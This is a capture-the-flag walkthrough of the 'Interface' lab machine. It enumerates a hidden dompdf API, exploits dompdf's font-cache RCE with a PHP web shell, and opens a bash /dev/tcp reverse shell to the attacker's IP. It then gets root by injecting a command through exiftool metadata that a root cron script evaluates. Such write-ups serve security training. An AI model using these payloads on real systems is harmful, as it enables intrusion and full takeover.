Interface
12 minutes to read
Content-Security-Policy
header. There, we can enumerate third-party dependencies like dompdf
. This one is vulnerable to Remote Code Execution. After a lot of enumeration to interact with dompdf
, we find a way to get a reverse shell on the system. Then, user root
executes a shell script each minute, and the script is vulnerable to command injection, which must be exploited by adding malicious metadata to a temporary file. By chaining these steps, we are able to get a reverse shell as root
- OS: Linux
- Difficulty: Medium
- IP Address: 10.10.11.200
- Release: 11 / 02 / 2023
Port scanning
# Nmap 7.93 scan initiated as: nmap -sC -sV -o nmap/targeted -p 22,80 10.10.11.200
Nmap scan report for 10.10.11.200
Host is up (0.057s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 7289a0957eceaea8596b2d2dbc90b55a (RSA)
| 256 01848c66d34ec4b1611f2d4d389c42c3 (ECDSA)
|_ 256 cc62905560a658629e6b80105c799b55 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Site Maintenance
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 10.95 seconds
This machine has ports 22 (SSH) and 80 (HTTP) open.
Enumeration
If we go to http://10.10.11.200
, we will see a page like this:
It looks like a static page. There’s nothing to see here. Every resource we try to access will result in a 404 Not Found
error:
If we inspect the source code, we can see that the website is built with Next.js (version 13.0.4):
There are versions of Next.js that have some vulnerabilities, but version 13.0.4 seems to be safe. Hence, the exploitation might not involve Next.js.
This framework uses JavaScript to render the webpage, so inspecting the JavaScript source files we can identify the text that is rendered on the page, and an email address (contact@interface.htb
):
Moreover, if we wanted to enumerate available routes, they would be listed at sortedPages
in _next/static/<id>/_buildManifest.js
:
The above figure shows that there are no routes. Therefore, this webpage is a dead end.
But notice that there is an error in the JavaScript console:
It talks about the Content-Security-Policy
(CSP) header. Let’s analyze it:
We have this CSP:
script-src 'unsafe-inline' 'unsafe-eval' 'self' data: https://www.google.com http://www.google-analytics.com/gtm/js https://*.gstatic.com/feedback/ https://ajax.googleapis.com; connect-src 'self' http://prd.m.rendering-api.interface.htb; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com https://www.google.com; img-src https: data:; child-src data:;
Here we can find a subdomain: http://prd.m.rendering-api.interface.htb
. Let’s add interface.htb
and prd.m.rendering-api.interface.htb
to /etc/hosts
and continue enumerating.
Subdomain enumeration
We have this:
Let’s use ffuf
to enumerate more routes:
$ ffuf -w $WORDLISTS/SecLists/Discovery/Web-Content/raft-small-words.txt -u http://prd.m.rendering-api.interface.htb/FUZZ
[Status: 403, Size: 15, Words: 2, Lines: 2, Duration: 50ms]
* FUZZ: .
[Status: 403, Size: 15, Words: 2, Lines: 2, Duration: 44ms]
* FUZZ: vendor
Now we have /vendor
. Again, we can’t access the directory:
$ curl prd.m.rendering-api.interface.htb/vendor -i
HTTP/1.1 403 Forbidden
Server: nginx/1.14.0 (Ubuntu)
Date: Sun, 12 Feb 2023 13:33:10 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Access denied.
$ curl prd.m.rendering-api.interface.htb/vendor/ -i
HTTP/1.1 404 Not Found
Server: nginx/1.14.0 (Ubuntu)
Date: Sun, 12 Feb 2023 13:33:15 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
File not found.
Let’s continue enumerating:
$ ffuf -w $WORDLISTS/SecLists/Discovery/Web-Content/raft-small-words.txt -u http://prd.m.rendering-api.interface.htb/vendor/FUZZ
[Status: 403, Size: 15, Words: 2, Lines: 2, Duration: 48ms]
* FUZZ: .
[Status: 403, Size: 15, Words: 2, Lines: 2, Duration: 44ms]
* FUZZ: dompdf
[Status: 403, Size: 15, Words: 2, Lines: 2, Duration: 45ms]
* FUZZ: composer
Again, none of them is allowed:
$ curl prd.m.rendering-api.interface.htb/vendor/dompdf -i
HTTP/1.1 403 Forbidden
Server: nginx/1.14.0 (Ubuntu)
Date: Sun, 12 Feb 2023 13:41:22 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Access denied.
$ curl prd.m.rendering-api.interface.htb/vendor/dompdf/ -i
HTTP/1.1 404 Not Found
Server: nginx/1.14.0 (Ubuntu)
Date: Sun, 12 Feb 2023 13:41:24 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
File not found.
$ curl prd.m.rendering-api.interface.htb/vendor/composer -i
HTTP/1.1 403 Forbidden
Server: nginx/1.14.0 (Ubuntu)
Date: Sun, 12 Feb 2023 13:41:29 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Access denied.
$ curl prd.m.rendering-api.interface.htb/vendor/composer/ -i
HTTP/1.1 404 Not Found
Server: nginx/1.14.0 (Ubuntu)
Date: Sun, 12 Feb 2023 13:41:31 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
File not found.
The one that is possibly interesing is dompdf
, because composer
is just a dependencie manager for PHP applications. So… let’s continue with the enumeration:
$ ffuf -w $WORDLISTS/SecLists/Discovery/Web-Content/raft-small-words.txt -u http://prd.m.rendering-api.interface.htb/vendor/dompdf/FUZZ
[Status: 403, Size: 15, Words: 2, Lines: 2, Duration: 41ms]
* FUZZ: .
[Status: 403, Size: 15, Words: 2, Lines: 2, Duration: 40ms]
* FUZZ: dompdf
$ ffuf -w $WORDLISTS/SecLists/Discovery/Web-Content/raft-small-words.txt -u http://prd.m.rendering-api.interface.htb/vendor/dompdf/dompdf/FUZZ
[Status: 403, Size: 15, Words: 2, Lines: 2, Duration: 51ms]
* FUZZ: lib
[Status: 403, Size: 15, Words: 2, Lines: 2, Duration: 42ms]
* FUZZ: .
[Status: 403, Size: 15, Words: 2, Lines: 2, Duration: 41ms]
* FUZZ: tests
[Status: 403, Size: 15, Words: 2, Lines: 2, Duration: 43ms]
* FUZZ: src
[Status: 403, Size: 15, Words: 2, Lines: 2, Duration: 42ms]
* FUZZ: VERSION
[Status: 403, Size: 15, Words: 2, Lines: 2, Duration: 45ms]
* FUZZ: .git
[Status: 403, Size: 15, Words: 2, Lines: 2, Duration: 45ms]
* FUZZ: .gitignore
With the list of directories above, we can guess that the server has dompdf
installed, which is a PHP application to convert HTML code into PDF documents.
Indeed, we can confirm it is dompdf
enumerating files with extensions and see that they appear in the GitHub repository too:
$ ffuf -w $WORDLISTS/SecLists/Discovery/Web-Content/raft-small-words.txt -u http://prd.m.rendering-api.interface.htb/vendor/dompdf/dompdf/FUZZ -e .php,.md,.json
[Status: 403, Size: 15, Words: 2, Lines: 2, Duration: 42ms]
* FUZZ: lib
[Status: 403, Size: 15, Words: 2, Lines: 2, Duration: 46ms]
* FUZZ: .
[Status: 403, Size: 15, Words: 2, Lines: 2, Duration: 39ms]
* FUZZ: tests
[Status: 403, Size: 15, Words: 2, Lines: 2, Duration: 41ms]
* FUZZ: src
[Status: 403, Size: 15, Words: 2, Lines: 2, Duration: 49ms]
* FUZZ: README.md
[Status: 403, Size: 15, Words: 2, Lines: 2, Duration: 77ms]
* FUZZ: VERSION
[Status: 403, Size: 15, Words: 2, Lines: 2, Duration: 44ms]
* FUZZ: .git
[Status: 403, Size: 15, Words: 2, Lines: 2, Duration: 46ms]
* FUZZ: .gitignore
[Status: 403, Size: 15, Words: 2, Lines: 2, Duration: 41ms]
* FUZZ: composer.json
$ ffuf -w $WORDLISTS/SecLists/Discovery/Web-Content/raft-small-words.txt -u http://prd.m.rendering-api.interface.htb/vendor/dompdf/dompdf/src/FUZZ -e .php
[Status: 403, Size: 15, Words: 2, Lines: 2, Duration: 47ms]
* FUZZ: .
[Status: 403, Size: 15, Words: 2, Lines: 2, Duration: 40ms]
* FUZZ: Css
[Status: 403, Size: 15, Words: 2, Lines: 2, Duration: 41ms]
* FUZZ: Image
[Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 44ms]
* FUZZ: Options.php
[Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 43ms]
* FUZZ: Helpers.php
[Status: 403, Size: 15, Words: 2, Lines: 2, Duration: 43ms]
* FUZZ: Frame
[Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 43ms]
* FUZZ: Frame.php
Foothold
Looking for vulnerabilities, we can find a Remote Code Execution (RCE) exploit for dompdf
in dompdf-rce
(more details at positive.security):
Source: https://positive.security/blog/dompdf-rce
However, to exploit this vulnerability, we must be able to interact with the application.
Finding an API
Maybe, since the machine name is “Interface”, we must find an API (Application Programming Interface). If we go back to the enumeration phase, we can tell ffuf
to match all status code and filter those files that return size zero:
$ ffuf -w $WORDLISTS/SecLists/Discovery/Web-Content/raft-small-words.txt -u http://prd.m.rendering-api.interface.htb/FUZZ -mc all -fs 0
[Status: 404, Size: 50, Words: 3, Lines: 1, Duration: 56ms]
* FUZZ: api
[Status: 403, Size: 15, Words: 2, Lines: 2, Duration: 54ms]
* FUZZ: .
[Status: 403, Size: 15, Words: 2, Lines: 2, Duration: 55ms]
* FUZZ: vendor
Now we have another endpoint that seems promising:
$ curl prd.m.rendering-api.interface.htb/api
{"status":"404","status_text":"route not defined"}
$ curl prd.m.rendering-api.interface.htb/api/asdf -i
HTTP/1.1 404 Not Found
Server: nginx/1.14.0 (Ubuntu)
Date: Sun, 12 Feb 2023 14:23:18 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Connection: keep-alive
{"status":"404","status_text":"route not defined"}
We need to enumerate a bit more using POST requests (since we are interacting with an API, it makes sense to use POST as well as GET):
$ ffuf -w $WORDLISTS/SecLists/Discovery/Web-Content/raft-small-words.txt -u http://prd.m.rendering-api.interface.htb/api/FUZZ -X POST -mc all -fs 50
[Status: 422, Size: 36, Words: 2, Lines: 1, Duration: 52ms]
* FUZZ: html2pdf
Alright, /api/html2pdf
… We are getting closer.
$ curl -X POST prd.m.rendering-api.interface.htb/api/html2pdf -i
HTTP/1.1 422 Unprocessable Entity
Server: nginx/1.14.0 (Ubuntu)
Date: Sun, 12 Feb 2023 14:25:48 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Connection: keep-alive
{"status_text":"missing parameters"}
Now we need to find parameters… More enumeration…
$ ffuf -w $WORDLISTS/SecLists/Discovery/Web-Content/raft-small-words.txt -u http://prd.m.rendering-api.interface.htb/api/html2pdf -d '{"FUZZ":"asdf"}' -H 'Content-Type: application/json' -X POST -mc all -fs 36
[Status: 200, Size: 1131, Words: 116, Lines: 77, Duration: 69ms]
* FUZZ: html
There we have it:
$ curl prd.m.rendering-api.interface.htb/api/html2pdf -d '{"html":"asdf"}' -H 'Content-Type: application/json'
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: <FILE>" to save to a file.
$ curl prd.m.rendering-api.interface.htb/api/html2pdf -d '{"html":"asdf"}' -H 'Content-Type: application/json' -so - | file -
/dev/stdin: PDF document, version 1.7, 0 pages
$ curl prd.m.rendering-api.interface.htb/api/html2pdf -d '{"html":"asdf"}' -H 'Content-Type: application/json' -so - | exiftool - | grep pdf
File Type Extension : pdf
MIME Type : application/pdf
Producer : dompdf 1.2.0 + CPDF
Exploiting dompdf
Now it is time to exploit it following the previous GitHub repository or blogpost.
Following the blogpost, first we need to create a CSS file that holds a @font-face
description with a src
URL pointing to malicious PHP file:
@font-face {
font-family: 'exploitfont';
src: url('http://10.10.17.44/exploit_font.php');
font-weight: 'normal';
font-style: 'normal';
}
This malicious PHP file (exploit_font.php
) starts like a valid .ttf
file (TrueType Font format). And at the bottom contains PHP code (by default: <?php phpinfo(); ?>
).
Next, we need to generate a PDF using this HTML code:
<link rel=stylesheet href=http://10.10.17.44/exploit.css>
Let’s do it:
$ python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
$ curl prd.m.rendering-api.interface.htb/api/html2pdf -d '{"html":"<link rel=stylesheet href=http://10.10.17.44/exploit.css>"}' -H 'Content-Type: application/json'
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: <FILE>" to save to a file.
$ python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
::ffff:10.10.11.200 - - [] "GET /exploit.css HTTP/1.0" 200 -
::ffff:10.10.11.200 - - [] "GET /exploit_font.php HTTP/1.0" 200 -
Now, we need to find the cached font file with the malicious PHP content. In the blogpost, it shows how the filename is generated:
The filename of a newly cached font is deterministic and based on information we have, namely the font’s name, the chosen style and a hash of its remote URL (line 9-19). The test-font from above with URL
http://attacker.local/test_font.ttf
and weight/style “normal” would e.g. get stored
testfont_normal_d249c21fbbb1302ab53282354d462d9e.ttf
We can confirm that d249c21fbbb1302ab53282354d462d9e
is the MD5 hash:
$ echo -n 'http://attacker.local/test_font.ttf' | md5sum
d249c21fbbb1302ab53282354d462d9e -
So, in our case we have:
$ echo -n 'http://10.10.17.44/exploit_font.php' | md5sum
9e9dc3b53bd654b44ddf200e10ff3789 -
And there it is:
Let’s try to execute commands using system
in PHP:
$ sed -i 's/exploit_font/exploit_font_rce/g' exploit.css
$ sed 's/phpinfo()/system($_GET["cmd"])/g' exploit_font.php > exploit_font_rce.php
$ tail -1 exploit_font_rce.php
<?php system($_GET["cmd"]); ?>
$ curl prd.m.rendering-api.interface.htb/api/html2pdf -d '{"html":"<link rel=stylesheet href=http://10.10.17.44/exploit.css>"}' -H 'Content-Type: application/json'
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: <FILE>" to save to a file.
$ python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
::ffff:10.10.11.200 - - [] "GET /exploit.css HTTP/1.0" 200 -
::ffff:10.10.11.200 - - [] "GET /exploit_font_rce.php HTTP/1.0" 200 -
Notice that I used another because the server takes the filename as a cache memory, so even if I modify the contents, the filename would still be the same and the server will use the cached file.
This is the updated MD5 hash:
$ echo -n 'http://10.10.17.44/exploit_font_rce.php' | md5sum
39c1a35138a32c02712e18f00def33ae -
And now we have remote code execution:
So, it’s time to get a reverse shell:
$ echo -n 'bash -i >& /dev/tcp/10.10.17.44/4444 0>&1' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx
$ curl 'prd.m.rendering-api.interface.htb/vendor/dompdf/dompdf/lib/fonts/exploitfont_normal_39c1a35138a32c02712e18f00def33ae.php?cmd=echo+YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx+|+base64+-d+|+bash'
$ nc -nlvp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.200.
Ncat: Connection from 10.10.11.200:45556.
bash: cannot set terminal process group (1442): Inappropriate ioctl for device
bash: no job control in this shell
www-data@interface:~/api/vendor/dompdf/dompdf/lib/fonts$ cd /
cd /
www-data@interface:/$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
www-data@interface:/$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
www-data@interface:/$ export TERM=xterm
www-data@interface:/$ export SHELL=bash
www-data@interface:/$ stty rows 50 columns 158
System enumeration
At this point we can read the user.txt
flag:
www-data@interface:/$ find / -name user.txt 2>/dev/null
/home/dev/user.txt
www-data@interface:/$ cat /home/dev/user.txt
b632095e438a7c0ed59d1c7990106a23
Let’s enumerate running processes with pspy
:
www-data@interface:/$ cd /tmp
www-data@interface:/tmp$ wget -q 10.10.14.61:8000/pspy64s
www-data@interface:/tmp$ chmod +x pspy64s
www-data@interface:/tmp$ ./pspy64s
After a few seconds, we see these commands:
CMD: UID=0 PID=1 | /sbin/init maybe-ubiquity
CMD: UID=0 PID=4595 | /usr/bin/perl -w /usr/bin/exiftool -s -s -s -Producer /tmp/pspy64s
CMD: UID=0 PID=4594 | /bin/bash /usr/local/sbin/cleancache.sh
CMD: UID=0 PID=4593 | /bin/bash /usr/local/sbin/cleancache.sh
CMD: UID=0 PID=4592 | /bin/sh -c /usr/local/sbin/cleancache.sh
CMD: UID=0 PID=4591 | /usr/sbin/CRON -f
CMD: UID=0 PID=4596 | cut -d -f1
CMD: UID=0 PID=4603 | /bin/bash /root/clean.sh
CMD: UID=0 PID=4602 | /usr/sbin/CRON -f
CMD: UID=0 PID=4601 | /bin/sh -c /root/clean.sh
CMD: UID=0 PID=4600 | /usr/sbin/CRON -f
CMD: UID=0 PID=4599 | /usr/sbin/CRON -f
CMD: UID=0 PID=4604 | find /var/www/api/vendor/dompdf/dompdf/lib/fonts/ -type f -cmin -5 -exec rm {} ;
CMD: UID=0 PID=4605 | cp /root/font_cache/dompdf_font_family_cache.php /var/www/api/vendor/dompdf/dompdf/lib/fonts/dompdf_font_family_cache.php
This command looks weird:
/usr/bin/perl -w /usr/bin/exiftool -s -s -s -Producer /tmp/pspy64s
Obviously, we cannot read /root/clean.sh
, but we are able to read /usr/local/sbin/cleancache.sh
, which is the following shell script:
#! /bin/bash
cache_directory="/tmp"
for cfile in "$cache_directory"/*; do
if [[ -f "$cfile" ]]; then
meta_producer=$(/usr/bin/exiftool -s -s -s -Producer "$cfile" 2>/dev/null | cut -d " " -f1)
if [[ "$meta_producer" -eq "dompdf" ]]; then
echo "Removing $cfile"
rm "$cfile"
fi
fi
done
The above command comes from the shell script. It uses exiftool
to find out files that have dompdf
as Producer
metadata.
For instance:
www-data@interface:/tmp$ touch test
www-data@interface:/tmp$ exiftool -s -s -s -Producer test
Error: File is empty - test
www-data@interface:/tmp$ exiftool -Producer='asdf' test
1 image files updated
www-data@interface:/tmp$ exiftool -s -s -s -Producer test
asdf
So, what the script does is extract the Producer
metadata of any file at /tmp
and remove the ones produced by dompdf
.
On the other hand, the version of exiftool
is not vulnerable:
www-data@interface:/tmp$ exiftool test | grep -i version
ExifTool Version Number : 12.55
Privilege escalation
There is a problem with the shell script in these lines:
meta_producer=$(/usr/bin/exiftool -s -s -s -Producer "$cfile" 2>/dev/null | cut -d " " -f1)
if [[ "$meta_producer" -eq "dompdf" ]]; then
# ...
fi
Looking for vulnerabilities in Bash, we find this article, which shows that we can evaluate any Bash code within [[ ... ]]
expressions (see also unix.stackexchange.com). Therefore, we will enter a reverse shell so that root
executes it:
www-data@interface:/tmp$ cat > shell.sh
#!/bin/bash
echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx | base64 -d | bash
^C
www-data@interface:/tmp$ chmod +x shell.sh
www-data@interface:/tmp$ touch asdf
www-data@interface:/tmp$ exiftool -Producer='x[$(/tmp/shell.sh>&2)]' asdf
1 image files updated
Notice that the file with metadata (asdf
) must come before the malicious script (shell.sh
) in alphabetical order; otherwise, the script will be removed before the file metadata is analyzed.
After a few seconds, we receive the reverse shell:
$ nc -nlvp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.200.
Ncat: Connection from 10.10.11.200:33320.
bash: cannot set terminal process group (4914): Inappropriate ioctl for device
bash: no job control in this shell
root@interface:~# script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
root@interface:~# ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
root@interface:~# export TERM=xterm
root@interface:~# export SHELL=bash
root@interface:~# stty rows 50 columns 158
Now we are root
, so we can read the root.txt
flag:
root@interface:~# cat root.txt
c49dbca5c4cb7b0d911163d87319e846